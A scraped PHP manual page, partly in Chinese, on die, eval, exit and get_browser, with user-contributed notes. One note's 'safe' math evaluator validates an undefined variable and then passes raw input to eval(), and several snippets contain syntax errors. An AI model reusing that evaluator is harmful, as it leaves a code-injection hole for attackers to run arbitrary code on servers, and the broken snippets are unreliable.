beware until this is often used as an error handling statement actually isn't... is just the "or" boolean operator overloaded (short circuited)

it won't supress any error message, won't prevent you for fatal errors or crashes, is not an alias for "try/catch", and could has unpredictable results... it just means something like this:

- execute the first statement ""do_something($with_this)"" normally
-- if the statement results TRUE: no need to execute the second statement so skip it
-- else if returns FALSE... well i am not sure about the result of the whole expression, so continue with second statement ""die('cuack!)""

so you can't rely on all statements will suppress error messages or crashes, or will always return "false" on error or undesirable behavior...

for this better use the error skipping operator "@" "if" and "exit" commands, or use "try/catch" blocks
smcbride at msn dot com 30-Dec-2020 12:13
I always think about why duplicate commands deserve to exist, but die is one of those that I know why.  It may be the same as exit(), but when you want to search through source code for die() for an unhandled error vs. a clean exit(), it helps a bit on the debugging.  Not to mention backward compatibility, but we deprecate those reasons for 'good' reason.
Anonymous 06-Nov-2020 08:36
Do not forget to add an error log, so you also get to know about the problem, as well as an error 500 header.

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
die($message);
info at alzlper dot com 30-Dec-2017 06:24
Using die() can be a good option when working with HTTP Endpoints.

If your PHP Script is one, you can use die() to send back an error as plain text or JSON for example.

die(json_encode(array('error' => 'some error')));
Hayley Watson 25-Aug-2012 04:29
It is poor design to rely on die() for error handling in a web site because it results in an ugly experience for site users: a broken page and - if they're lucky - an error message that is no help to them at all. As far as they are concerned, when the page breaks, the whole site might as well be broken.

If you ever want the public to use your site, always design it to handle errors in a way that will allow them to continue using it if possible. If it's not possible and the site really is broken, make sure that you find out so that you can fix it. die() by itself won't do either.

If a supermarket freezer breaks down, a customer who wanted to buy a tub of ice cream doesn't expect to be kicked out of the building.
Damien Bezborodov 20-Aug-2009 10:45
Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0.

If you are looking to follow UNIX conventions for CLI programs, you may consider the following:

<?php
fwrite(STDERR, "An error occurred.\n");
exit(1); // A response code other than 0 is a failure
?>

In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success:

rc@adl-dev-01:~$ php die.php > test
An error occurred.
rc@adl-dev-01:~$ echo $?
1

Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story.
jbailey at raspberryginger dot com 20-Jan-2007 09:33
die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines.


把字符串作为PHP代码执行

  • ? die
  • exit ?
  • PHP Manual
  • 杂项 函数
  • 把字符串作为PHP代码执行

eval

(PHP 4, PHP 5, PHP 7, PHP 8)

eval — 把字符串作为PHP代码执行

说明

eval(string $code): mixed

把字符串 code 作为PHP代码执行。

Caution

函数eval()语言结构是 非常危险的， 因为它允许执行任意 PHP 代码。 它这样用是很危险的。 如果您仔细的确认过，除了使用此结构以外 别无方法, 请多加注意，不要允许传入任何由用户 提供的、未经完整验证过的数据 。

参数

code

需要被执行的字符串

代码不能包含打开/关闭 PHP tags。比如， 'echo "Hi!";' 不能这样传入： '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'。

除此之外，传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error，而 'echo "Hi!";' 则会正常运行。

return 语句会立即中止当前字符串的执行。

代码执行的作用域是调用 eval() 处的作用域。因此，eval() 里任何的变量定义、修改，都会在函数结束后被保留。

返回值

eval() 返回 null，除非在执行的代码中 return 了一个值，函数返回传递给 return 的值。 PHP 7 开始，执行的代码里如果有一个 parse error，eval() 会抛出 ParseError 异常。在 PHP 7 之前， 如果在执行的代码中有 parse error，eval() 返回 false，之后的代码将正常执行。无法使用 set_error_handler() 捕获 eval() 中的解析错误。

示例

Example #1 eval() 例子 - 简单的文本合并

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

以上示例会输出：

This is a $string with my $name in it.
This is a cup with my coffee in it.

注释

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

Tip

和直接将结果输出到浏览器一样，可使用输出控制函数来捕获当前函数的输出，然后(例如)保存到一个 string 中。

Note:

如果在执行的代码中产生了一个致命的错误（fatal error），整个脚本会退出。

参见

  • call_user_func() - 把第一个参数作为回调函数调用

User Contributed Notes

xxixxek at gmail dot com 27-Feb-2023 03:46
I happened to work on a very old code that, for many reasons, couldn't be rewritten and the only way of showing the exact error in eval that worked for me was:

$res = eval($somecode);

if(!$res) {
    echo "<pre>";
    print_r(explode(PHP_EOL, $somecode));
    echo "</pre>";
}

I know it is terrible but I didn't have much of a choice. None of the try...catch solutions worked for me; the solution above shows the exact lines with numbers and it is easy to find what's wrong with the code.
xxixxek at gmail dot com 27-Feb-2023 03:45
I happened to work on a very old code that, for many reasons, couldn't be rewritten and the only way of showing the exact error in eval that worked for me was:

$res = eval($somecode);

if(!$res) {
    echo "<pre>";
    print_r(explode(PHP_EOL, $somecode));
    echo "</pre>";
}

I know it is terrible but I didn't have much of a choice. None of the try...catch solutions worked for me; the solution above shows the exact lines with numbers and it is easy to find what's wrong with the code.
Patanjali 14-May-2022 10:04
eval() is useful for preprocessing css (and js) with php to embed directly into a style tag in the head tag (or script tag at the bottom of body tag) of the HTML of the page.

This:

a. Prevents Flash of White in Chrome or Firefox (where an external css file arrives briefly too late to render the HTML).

b. Allows radical minifying by testing the page source to see if whole blocks of rules or code are even required, such as for tables.

c. Allows custom source-content-dependent css rules to be created on the fly. (I use this to create rules for positioned labels over an image that scale with it)

d. Allows generation of a hash of the processed css or js for use in the page's CSP header for style-src or script-src to prevent injection attacks.

Here eval() is safe because it is not using user-supplied (person or browser) information
stocki dot r at gmail dot com 10-Mar-2022 08:35
You can use `eval()` to combine classes/traits dynamically with anonymus classes:

<?php

function init($trait, $class) {
    return (trait_exists($trait) && class_exists($class))
        ? eval("return new class() extends {$class} { use {$trait}; };")
        : false;
}

trait Edit {
    function hello() { echo 'EDIT: ' . $this->modulename; }
}
trait Ajax {
    function hello() { echo 'AJAX: ' . $this->modulename; }
}
class MyModule {
    public $modulename = 'My Module';
}
class AnotherModule {
    public $modulename = 'Another Module';
}

init('Edit', 'MyModule')->hello();      # 'EDIT: My Module'
init('Ajax', 'AnotherModule')->hello(); # 'AJAX: Another Module'

?>
greald at gmail dot com 26-Dec-2021 09:10
to avoid the evil eval() you may use the fact that function names, variable names, property names and method names can be handled strings.

<?php
class Fruit
{
    public $tomato = "Tomatos";

    public function red() {return " are red. ";}
}

$fruit = new Fruit;
$fruitStr = "tomato";
$colorStr = "red";

echo $fruit->$fruitStr . $fruit->$colorStr();

// and procedural  //////////////////////////////////////////

$lemon = "Lemons";

function yellow() {return " are yellow. ";}

$fruitStr = "$lemon";
$colorStr = "yellow";

echo $fruitStr . $colorStr();
?>
remindfwd 09-Jan-2021 05:30
Note that

<?php

echo eval( '$var = (20 - 5);' );  // don't show anything

echo ' someString ' . eval( 'echo $var = 15;' ); // outputs 15 someString

//or
echo ' someString ' . eval( 'echo $var = 15;' ) . ' otherString '; // 15 someString  otherString

//or
echo ' someString ' . eval( 'echo $var = 15;' ) . ' otherString ' . '...' .eval( 'echo " __ " . $var = 10;' ); // 15 __ 10 someString  otherString  ...

?>
catgirl at charuru dot moe 17-Dec-2017 11:49
It should be noted that imported namespaces are not available in eval.
solobot 07-Nov-2017 09:55
eval() is workaround for generating multiple anonymous classes with static properties in loop

public function generateClassMap()
    {
        foreach ($this->classMap as $tableName => $class)
        {
            $c = null;
            eval('$c = new class extends \common\MyStaticClass {
                public static $tableName;
                public static function tableName()
                {
                    return static::$tableName;
                }
            };');
            $c::$tableName = $this->replicationPrefix.$tableName;
            $this->classMap[$tableName] = $c;

        }
    }

thus every class will have its own $tableName instead of common ancestor.
Jeremie LEGRAND 28-Jun-2017 03:25
At least in PHP 7.1+, eval() terminates the script if the evaluated code generate a fatal error. For example:
<?php
@eval('$content = (100 - );');
?>

(Even if it is in the man, I'm note sure it acted like this in 5.6, but whatever)
To catch it, I had to do:
<?php
try {
    eval('$content = (100 - );');
} catch (Throwable $t) {
    $content = null;
}
?>

This is the only way I found to catch the error and hide the fact there was one.
divinity76 at gmail dot com 06-Jun-2017 09:35
imo, this is a better eval replacement:

<?php
function betterEval($code) {
    $tmp = tmpfile ();
    $tmpf = stream_get_meta_data ( $tmp );
    $tmpf = $tmpf ['uri'];
    fwrite ( $tmp, $code );
    $ret = include ($tmpf);
    fclose ( $tmp );
    return $ret;
}
?>

- why? betterEval follows normal php opening and closing tag conventions, there's no need to strip `<?php?>` from the source.  and it always throws a ParseError if there was a parse error, instead of returning false (note: this was fixed for normal eval() in php 7.0). - and there's also something about exception backtraces
Uther 02-Feb-2016 05:33
eval'd code within namespaces which contain class and/or function definitions will be defined in the global namespace... not incredibly obvious :/
lord dot dracon at gmail dot com 31-Jul-2015 01:46
Inception with eval()

<pre>
Inception Start:
<?php
eval("echo 'Inception lvl 1...\n'; eval('echo \"Inception lvl 2...\n\"; eval(\"echo \'Inception lvl 3...\n\'; eval(\'echo \\\"Limbo!\\\";\');\");');");
?>
Karel 03-Feb-2015 04:23
For them who are facing syntax error when try execute code in eval,

<?php

$str =  '<?php echo "test"; ?>';

eval('?>'.$str.'<?php;'); // outputs test
eval('?>'.$str.'<?'); // outputs test
eval('?>'.$str.'<?php');// throws syntax error - unexpected $end

?>
bohwaz 04-Feb-2012 10:51
If you want to allow math input and make sure that the input is proper mathematics and not some hacking code, you can try this:

<?php

$test = '2+3*pi';

// Remove whitespaces
$test = preg_replace('/\s+/', '', $test);

$number = '(?:\d+(?:[,.]\d+)?|pi|π)'; // What is a number
$functions = '(?:sinh?|cosh?|tanh?|abs|acosh?|asinh?|atanh?|exp|log10|deg2rad|rad2deg|sqrt|ceil|floor|round)'; // Allowed PHP functions
$operators = '[+\/*\^%-]'; // Allowed math operators
$regexp = '/^(('.$number.'|'.$functions.'\s*\((?1)+\)|\((?1)+\))(?:'.$operators.'(?2))?)+$/'; // Final regexp, heavily using recursive patterns

if (preg_match($regexp, $q))
{
    $test = preg_replace('!pi|π!', 'pi()', $test); // Replace pi with pi function
    eval('$result = '.$test.';');
}
else
{
    $result = false;
}

?>

I can't guarantee you absolutely that this will block every possible malicious code nor that it will block malformed code, but that's better than the matheval function below which will allow malformed code like '2+2+' which will throw an error.
php at rijkvanwel dot nl 13-Sep-2010 07:41
To catch a parse error in eval()'ed code with a custom error handler, use error_get_last() (PHP >= 5.2.0).

<?php
$return = eval( 'parse error' );

if ( $return === false && ( $error = error_get_last() ) ) {
    myErrorHandler( $error['type'], $error['message'], $error['file'], $error['line'], null );

    // Since the "execution of the following code continues normally", as stated in the manual,
    // we still have to exit explicitly in case of an error
    exit;
}
?>
darkhogg (foo) gmail (bar) com 30-Mar-2010 10:33
The following code

<?php
    eval( '?> foo <?php' );
?>

does not throw any error, but prints the opening tag.
Adding a space after the open tag fixes it:

<?php
    eval( '?> foo <?php ' );
?>
php at stock-consulting dot com 28-Nov-2008 08:16
Magic constants like __FILE__ may not return what you expect if used inside eval()'d code. Instead, it'll answer something like "c:\directory\filename.php(123) : eval()'d code" (under Windows, obviously, checked with PHP5.2.6) - which can still be processed with a function like preg_replace to receive the filename of the file containing the eval().

Example:

<?php
$filename = preg_replace('@\(.*\(.*$@', '', __FILE__);
echo $filename;
?>
marco at harddisk dot is-a-geek dot org 30-Jun-2008 10:44
eval does not work reliably in conjunction with global, at least not in the cygwin port version.

So:
<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval("global \$".$module."_var;");
  eval("\$".$module."_var=&new foo();");
  //various stuff ... ...
}
load_module("foo");
?>

becomes to working:

<?PHP
class foo {
  //my class...
}
function load_module($module) {
  eval('$GLOBALS["'.$module.'_var"]=&new foo();');
  //various stuff ... ...
}
load_module("foo");
?>

Note in the 2nd example, you _always_ need to use $GLOBALS[$module] to access the variable!
Ipseno at yahoo dot com 25-Feb-2008 10:24
If you attempt to call a user defined function in eval() and .php files are obfuscated by Zend encoder, it will result in a fatal error.

Use a call_user_func() inside eval() to call your personal hand made functions.

This is user function
<?php

function square_it($nmb)
{
    return $nmb * $nmb;
}

?>

//Checking if eval sees it?
<?php

$code = var_export( function_exists('square_it') );

eval( $code );    //returns TRUE - so yes it does!

?>

This will result in a fatal error:
PHP Fatal error:  Call to undefined function square_it()
<?php

$code = 'echo square_it(55);' ;

eval( $code );

?>

This will work
<?php

$code = 'echo call_user_func(\'square_it\', 55);' ;

eval( $code );

?>
12-Jul-2004 09:37
Kepp the following Quote in mind:

If eval() is the answer, you're almost certainly asking the
wrong question. -- Rasmus Lerdorf, BDFL of PHP


输出一个消息并且退出当前脚本

  • ? eval
  • get_browser ?
  • PHP Manual
  • 杂项 函数
  • 输出一个消息并且退出当前脚本

exit

(PHP 4, PHP 5, PHP 7, PHP 8)

exit — 输出一个消息并且退出当前脚本

说明

exit(string $status = ?): void
exit(int $status): void

中止脚本的执行。 尽管调用了 exit()， Shutdown函数 以及 object destructors 总是会被执行。

exit 是个语法结构，如果没有 status 参数要传入，可以省略圆括号。

参数

status

如果 status 是一个字符串，在退出之前该函数会打印 status 。

如果 status 是一个 int，该值会作为退出状态码，并且不会被打印输出。 退出状态码应该在范围0至254，不应使用被PHP保留的退出状态码255。 状态码0用于成功中止程序。

返回值

没有返回值。

示例

Example #1 exit() 例子

<?php

$filename = '/path/to/data-file';
$file = fopen($filename, 'r')
or exit("unable to open file ($filename)");

?>

Example #2 exit() 状态码例子

<?php

//exit program normally
exit;
exit();
exit(0);

//exit with an error code
exit(1);
exit(0376); //octal

?>

Example #3 无论如何，Shutdown函数与析构函数都会被执行

<?php
class Foo
{
public function __destruct()
{
echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
}
}

function shutdown()
{
echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
}

$foo = new Foo();
register_shutdown_function('shutdown');

exit();
echo 'This will not be output.';
?>

以上示例会输出：

 Shutdown: shutdown()
 Destruct: Foo::__destruct()

注释

Note: 因为是语言构造器而不是函数，不能被 可变函数 或者 命名参数 调用。

Note:

该语法结构等同于 die()。

参见

  • register_shutdown_function() - 注册在关闭时执行的函数

User Contributed Notes

tianyiw at vip dot qq dot com 17-Nov-2022 10:59
These are the standard error codes in Linux or UNIX.

1 - Catchall for general errors
2 - Misuse of shell builtins (according to Bash documentation)
126 - Command invoked cannot execute
127 - "command not found"
128 - Invalid argument to exit
128+n - Fatal error signal "n"
130 - Script terminated by Control-C
255\* - Exit status out of range
bill dot gates at hotmail dot com 16-Jun-2021 01:43
Be noticed about uopz (User Operations for Zend) extension of PHP. It disables (prevents) halting of PHP scripts (both FPM and CLI) on calling `exit()` and `die()` by default just after enabling the extension. Therefore your script will continue to execute.

Details: https://www.php.net/manual/en/uopz.configuration.php#ini.uopz.exit
Alexander Behling 26-Feb-2021 11:33
it is also possible to include function calls e.g. logging function to write the error in a log file.

e.g.

function logerror($error){
file_put_contents(__DIR__.'/error_log', 'Error occured: '.$error');
}

die(logerror('error msg here');

This will terminate the script and write "error msg here" to error.log

You could use this for example when query the database to log when the query fails.
jean dot claveau at gmail dot com 25-Jan-2020 10:56
Beware if you enabled uopz extension, it disables exit / die() by default. They are just "skipped".

https://www.php.net/manual/en/function.uopz-allow-exit.php
powtac at gmx de 04-Jul-2018 09:25
When a object is passed as $status and it consists of a __toString() magic method the string value of this method will be used as $status. If the object does not contain a __toString method, exit will throw a catchable fatal error.
chris at ocproducts dot com 01-Mar-2018 10:57
Calling 'exit' will bypass the auto_append_file option.
On some free hosting this risks you getting removed, as they may be using for ads and analytics.

So be a bit careful if using this on the most common output branch.
marco dot marsala at live dot it 14-Feb-2018 09:16
Please note $status is printed to stdout, not stderr.
sunfundev at gmail dot com 07-Sep-2017 04:02
>> Shutdown functions and object destructors will always be executed even if exit is called.

It is false if you call exit into desctructor.

Normal exit:
<?php
class A
{
    public function __destruct()
    {
        echo "bye A\n";
    }
}

class B
{
    public function __destruct()
    {
        echo "bye B\n";
    }
}

$a = new A;
$b = new B;
exit;

// Output:
// bye B
// bye A
?>

// Exit into desctructor:
<?php
class A
{
    public function __destruct()
    {
        echo "bye A\n";
    }
}

class B
{
    public function __destruct()
    {
        echo "bye B\n";
        exit;
    }
}

$a = new A;
$b = new B;

// Output:
// bye B
?>
kehaovista at qq dot com 22-Jan-2016 01:20
<?php

class Foo
{
    public function __construct()
    {
        register_shutdown_function([$this, 'shutdown']);
    }

    public function __destruct()
    {
        echo 'Destruct: ' . __METHOD__ . '()' . PHP_EOL;
    }

    function shutdown()
    {
        echo 'Shutdown: ' . __FUNCTION__ . '()' . PHP_EOL;
    }
}

$foo = new Foo();
exit();

// output is
//Shutdown: shutdown()
//Destruct: Foo::__destruct()
m dot libergolis at gmail dot com 18-Aug-2015 06:44
In addition to "void a t informance d o t info", here's a one-liner that requires no constant:

<?php basename($_SERVER['PHP_SELF']) == basename(__FILE__) && die('Thou shall not pass!'); ?>

Placing it at the beginning of a PHP file will prevent direct access to the script.

To redirect to / instead of dying:

<?php
if (basename($_SERVER['PHP_SELF']) == basename(__FILE__)) {
    if (ob_get_contents()) ob_clean(); // ob_get_contents() even works without active output buffering
    header('Location: /');
    die;
}
?>

Doing the same in a one-liner:

<?php basename($_SERVER['PHP_SELF']) == basename(__FILE__) && (!ob_get_contents() || ob_clean()) && header('Location: /') && die; ?>

A note to security: Even though $_SERVER['PHP_SELF'] comes from the user, it's safe to assume its validity, as the "manipulation" takes place _before_ the actual file execution, meaning that the string _must_ have been valid enough to execute the file. Also, basename() is binary safe, so you can safely rely on this function.
theonenkl at gmail dot com 21-Apr-2015 03:33
A side-note for the use of exit with finally: if you exit somewhere in a try block, the finally won't be executed. Could not sound obvious: for instance in Java you never issue an exit, at least a return in your controller; in PHP instead you could find yourself exiting from a controller method (e.g. in case you issue a redirect).

Here follows the POC:

<?php
echo "testing finally wit exit\n";

try {
    echo "In try, exiting\n";

    exit;
} catch(Exception $e) {
    echo "catched\n";
} finally {
    echo "in finally\n";
}

echo "In the end\n";
?>

This will print:

testing finally wit exit
In try, exiting
alexyam at live dot com 09-Apr-2012 04:19
When using php-fpm, fastcgi_finish_request() should be used instead of register_shutdown_function() and exit()

For example, under nginx and php-fpm 5.3+, this will make browsers wait 10 seconds to show output:

<?php
    echo "You have to wait 10 seconds to see this.<br>";
    register_shutdown_function('shutdown');
    exit;
    function shutdown(){
        sleep(10);
        echo "Because exit() doesn't terminate php-fpm calls immediately.<br>";
    }
?>

This doesn't:

<?php
    echo "You can see this from the browser immediately.<br>";
    fastcgi_finish_request();
    sleep(10);
    echo "You can't see this form the browser.";
?>
nicoladinh at gmail dot com 02-Dec-2010 12:09
Calling to exit() will flush all buffers started by ob_start() to default output.
dexen dot devries at gmail dot com 03-Nov-2010 05:54
If you want to avoid calling exit() in FastCGI as per the comments below, but really, positively want to exit cleanly from nested function call or include, consider doing it the Python way:

define an exception named `SystemExit', throw it instead of calling exit() and catch it in index.php with an empty handler to finish script execution cleanly.

<?php

// file: index.php
class SystemExit extends Exception {}
try {
   /* code code */
}
catch (SystemExit $e) { /* do nothing */ }
// end of file: index.php

// some deeply nested function or .php file

if (SOME_EXIT_CONDITION)
   throw new SystemExit(); // instead of exit()

?>
vincent dot laag at gmail dot com 24-Sep-2010 12:51
Don't use the  exit() function in the auto prepend file with fastcgi (linux/bsd os).
It has the effect of leaving opened files with for result at least a nice  "Too many open files  ..." error.
matt at serverboy dot net 23-Mar-2010 12:11
It should be noted that if building a site that runs on FastCGI, calling exit will generate an error in the server's log file. This can quickly fill up.

Also, using exit will diminish the performance benefit gained on FastCGI setups. Instead, consider using code like this:

<?php

if( /* error case */ )
    echo "Invalid request";
else {
    /* The rest of your application */
}
?>

I've also seen developers get around this issue with FastCGI by wrapping their code in a switch statement and using breaks:

index.php:
<?php

switch(true) {
    case true:
        require('application.php');
}

?>

application.php:
<?php

if($x > $y) {
    echo "Sorry, that didn't work.";
    break;
}

// ...

?>

It does carry some overhead, but compared to the alternative, it does the job well.
albert at removethis dot peschar dot net 05-May-2009 11:50
jbezorg at gmail proposed the following:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__ )
  header('Location: /');

?>

After sending the `Location:' header PHP _will_ continue parsing, and all code below the header() call will still be executed.  So instead use:

<?php

if($_SERVER['SCRIPT_FILENAME'] == __FILE__)
{
  header('Location: /');
  exit;
}

?>
void a t informance d o t info 26-Oct-2008 02:11
To rich dot lovely at klikzltd dot co dot uk:

Using a "@" before header() to suppress its error, and relying on the "headers already sent" error seems to me a very bad idea while building any serious website.

This is *not* a clean way to prevent a file from being called directly. At least this is not a secure method, as you rely on the presence of an exception sent by the parser at runtime.

I recommend using a more common way as defining a constant or assigning a variable with any value, and checking for its presence in the included script, like:

in index.php:
<?php
define ('INDEX', true);
?>

in your included file:
<?php
if (!defined('INDEX')) {
   die('You cannot call this script directly !');
}
?>

BR.

Ninj
emils at tvnet dot lv 23-Aug-2003 08:14
Note, that using exit() will explicitly cause Roxen webserver to die, if PHP is used as Roxen SAPI module. There is no known workaround for that, except not to use exit(). CGI versions of PHP are not affected.
shaun at NOshatSPAM dot net 09-Aug-2002 04:13
return may be preferable to exit in certain situations, especially when dealing with the PHP binary and the shell.

I have a script which is the recipient of a mail alias, i.e. mail sent to that alias is piped to the script instead of being delivered to a mailbox. Using exit in this script resulted in the sender of the email getting a delivery failure notice. This was not the desired behavior, I wanted to silently discard messages which did not satisfy the script's requirements.

After several hours of trying to figure out what integer value I should pass to exit() to satisfy sendmail, I tried using return instead of exit. Worked like a charm. Sendmail didn't like exit but it was perfectly happy with return. So, if you're running into trouble with exit and other system binaries, try using return instead.
devinemke at devinemke dot com 11-Jan-2002 12:38
If you are using templates with numerous includes then exit() will end you script and your template will not complete (no </table>, </body>, </html> etc...).  Rather than having complex nested conditional logic within your content, just create a "footer.php" file that closes all of your HTML and if you want to exit out of a script just include() the footer before you exit().

for example:

include ('header.php');
blah blah blah
if (!$mysql_connect) {
echo "unable to connect";
include ('footer.php');
exit;
}
blah blah blah
include ('footer.php');


获取浏览器具有的功能

  • ? exit
  • __halt_compiler ?
  • PHP Manual
  • 杂项 函数
  • 获取浏览器具有的功能

get_browser

(PHP 4, PHP 5, PHP 7, PHP 8)

get_browser — 获取浏览器具有的功能

说明

get_browser(?string $user_agent = null, bool $return_array = false): object|array|false

通过查找 browscap.ini 文件中的浏览器信息，尝试检测用户的浏览器所具有的功能。

参数

user_agent

要分析的用户代理。默认使用HTTP头中User-Agent的值，不过，你可以通过传递该参数改变User-Agent。(比如查找另一个浏览器的信息)

你可以传递一个 null 来忽略该参数。

return_array

如果设置为 true，该函数会返回一个 array，而不是 object。

返回值

信息会以包含一系列数据的数组或者对象返回。例如：浏览器的主版本号、次版本号和ID字符串；框架、JavaScript、cookies等功能是否支持 true/false 的值。

cookies 的值仅意味着浏览器是否具有接收cookies的功能，不代表用户是否已允许启用cookies。 测试的唯一办法，只有通过 setcookie() 设置一个cookie，刷新页面并检测该cookie的值。

当无法检索到信息时返回 false，比如未设置 php.ini 中的 browscap 配置项。

示例

Example #1 列出所有用户浏览器的信息

<?php
echo $_SERVER['HTTP_USER_AGENT'] . "\n\n";

$browser = get_browser(null, true);
print_r($browser);
?>

以上示例的输出类似于：

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3

Array
(
    [browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
    [browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
    [parent] => Firefox 0.9
    [platform] => WinXP
    [browser] => Firefox
    [version] => 0.9
    [majorver] => 0
    [minorver] => 9
    [cssversion] => 2
    [frames] => 1
    [iframes] => 1
    [tables] => 1
    [cookies] => 1
    [backgroundsounds] =>
    [vbscript] =>
    [javascript] => 1
    [javaapplets] => 1
    [activexcontrols] =>
    [cdf] =>
    [aol] =>
    [beta] => 1
    [win16] =>
    [crawler] =>
    [stripper] =>
    [wap] =>
    [netclr] =>
)

注释

Note:

为了能让该函数运作，在 php.ini 中配置的 browscap 必须指向 browscap.ini 文件的正确位置。

browscap.ini 并未内置在PHP中，不过你可以在这里找到最新的 » php_browscap.ini。

browscap.ini 包含的诸多浏览器信息依赖于用户更新该数据库。该文件的格式不言自明。

User Contributed Notes

tom at tgibbons dot com 24-Jan-2022 02:01
PHP cron script to automatically update browscap.ini. It compares version numbers to determine if update is needed:

<?php
       $eol="\r\n";                           //set end of line - cron

       $fileurl = "https://browscap.org/stream?q=PHP_BrowsCapINI";
       $verurl = "https://browscap.org/version-number";
       $file = "/path/to/browscap.ini";

       //Find current version
       $fp = fopen($file, "r+");
       while (($line = stream_get_line($fp, 1024 * 1024, "\n")) !== false) {
           if(strpos($line,"Version=")===0) {
               list($temp, $curver) = explode("=",$line);
               break;
           }
       }
       fclose($fp);
       echo("Current browscap.ini file version: " . $curver);
       //Get browscap.org current version
       $newver = file_get_contents($verurl);
       echo($eol . "New browscap.ini file version: " . $newver);
       //Update if new version available
       if($newver > $curver) {
           if(file_put_contents($file, file_get_contents($fileurl))) {
               echo($eol . "browscap.ini has been updated!");
           }
           else {
               echo($eol . "browscap.ini update failed!");
           }
       }
       else {
           echo($eol . "browscap.ini is up to date!");
       }
       echo($eol . "End of Cron job." . $eol");
?>
Anonymous 28-Dec-2018 12:45
Follow up to Francesco R's post from 2016.

His function works for most human traffic; added a few lines to cover the most common bot traffic. Also fixed issue with function failing to detect strings at position 0 due to strpos behavior.

<?php
// Function written and tested December, 2018
function get_browser_name($user_agent)
{
        // Make case insensitive.
        $t = strtolower($user_agent);

        // If the string *starts* with the string, strpos returns 0 (i.e., FALSE). Do a ghetto hack and start with a space.
        // "[strpos()] may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE."
        //     http://php.net/manual/en/function.strpos.php
        $t = " " . $t;

        // Humans / Regular Users
        if     (strpos($t, 'opera'     ) || strpos($t, 'opr/')     ) return 'Opera'            ;
        elseif (strpos($t, 'edge'      )                           ) return 'Edge'             ;
        elseif (strpos($t, 'chrome'    )                           ) return 'Chrome'           ;
        elseif (strpos($t, 'safari'    )                           ) return 'Safari'           ;
        elseif (strpos($t, 'firefox'   )                           ) return 'Firefox'          ;
        elseif (strpos($t, 'msie'      ) || strpos($t, 'trident/7')) return 'Internet Explorer';

        // Search Engines
        elseif (strpos($t, 'google'    )                           ) return '[Bot] Googlebot'   ;
        elseif (strpos($t, 'bing'      )                           ) return '[Bot] Bingbot'     ;
        elseif (strpos($t, 'slurp'     )                           ) return '[Bot] Yahoo! Slurp';
        elseif (strpos($t, 'duckduckgo')                           ) return '[Bot] DuckDuckBot' ;
        elseif (strpos($t, 'baidu'     )                           ) return '[Bot] Baidu'       ;
        elseif (strpos($t, 'yandex'    )                           ) return '[Bot] Yandex'      ;
        elseif (strpos($t, 'sogou'     )                           ) return '[Bot] Sogou'       ;
        elseif (strpos($t, 'exabot'    )                           ) return '[Bot] Exabot'      ;
        elseif (strpos($t, 'msn'       )                           ) return '[Bot] MSN'         ;

        // Common Tools and Bots
        elseif (strpos($t, 'mj12bot'   )                           ) return '[Bot] Majestic'     ;
        elseif (strpos($t, 'ahrefs'    )                           ) return '[Bot] Ahrefs'       ;
        elseif (strpos($t, 'semrush'   )                           ) return '[Bot] SEMRush'      ;
        elseif (strpos($t, 'rogerbot'  ) || strpos($t, 'dotbot')   ) return '[Bot] Moz or OpenSiteExplorer';
        elseif (strpos($t, 'frog'      ) || strpos($t, 'screaming')) return '[Bot] Screaming Frog';

        // Miscellaneous
        elseif (strpos($t, 'facebook'  )                           ) return '[Bot] Facebook'     ;
        elseif (strpos($t, 'pinterest' )                           ) return '[Bot] Pinterest'    ;

        // Check for strings commonly used in bot user agents
        elseif (strpos($t, 'crawler' ) || strpos($t, 'api'    ) ||
                strpos($t, 'spider'  ) || strpos($t, 'http'   ) ||
                strpos($t, 'bot'     ) || strpos($t, 'archive') ||
                strpos($t, 'info'    ) || strpos($t, 'data'   )    ) return '[Bot] Other'   ;

        return 'Other (Unknown)';
}
?>
Post with more depth here:
https://www.256kilobytes.com/content/show/1922/how-to-parse-a-user-agent-in-php-with-minimal-effort
Jeff Williams 26-Apr-2018 06:33
To automatically update your browscap.ini file on linux servers, you can use this simple shell script:

wget -O /etc/browscap.ini "http://browscap.org/stream?q=Full_PHP_BrowsCapINI"
chmod 664 /etc/browscap.ini

You can put it in the weekly cron job folder usually located in /etc/cron.weekly just don't forget to make the script executable (chmod 775 scriptname).
Konstantin Rozinov 26-Dec-2017 05:18
Since browser detection can be tricky and very slow, I compared a few packages.

http://thadafinser.github.io/UserAgentParserComparison/v5/index.html

https://github.com/sinergi/php-browser-detector
https://github.com/WhichBrowser/Parser-PHP
https://github.com/piwik/device-detector
http://php.net/manual/en/function.get-browser.php

Here are the results:

User Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36

Sinergi Package
---------------
Chrome 63.0.3239.84 on Windows 10.0
Took 0.0022480487823486 seconds.
---------------

WhichBrowser Package
---------------
Chrome 63 on Windows 10
Took 0.021045207977295 seconds.
---------------

Piwik Package
---------------
Chrome 63.0 on Windows 10
Took 0.079447031021118 seconds.
---------------

get_browser Package
---------------
Chrome 63.0 on Windows 10
Took 0.09611701965332 seconds.
---------------

User Agent:
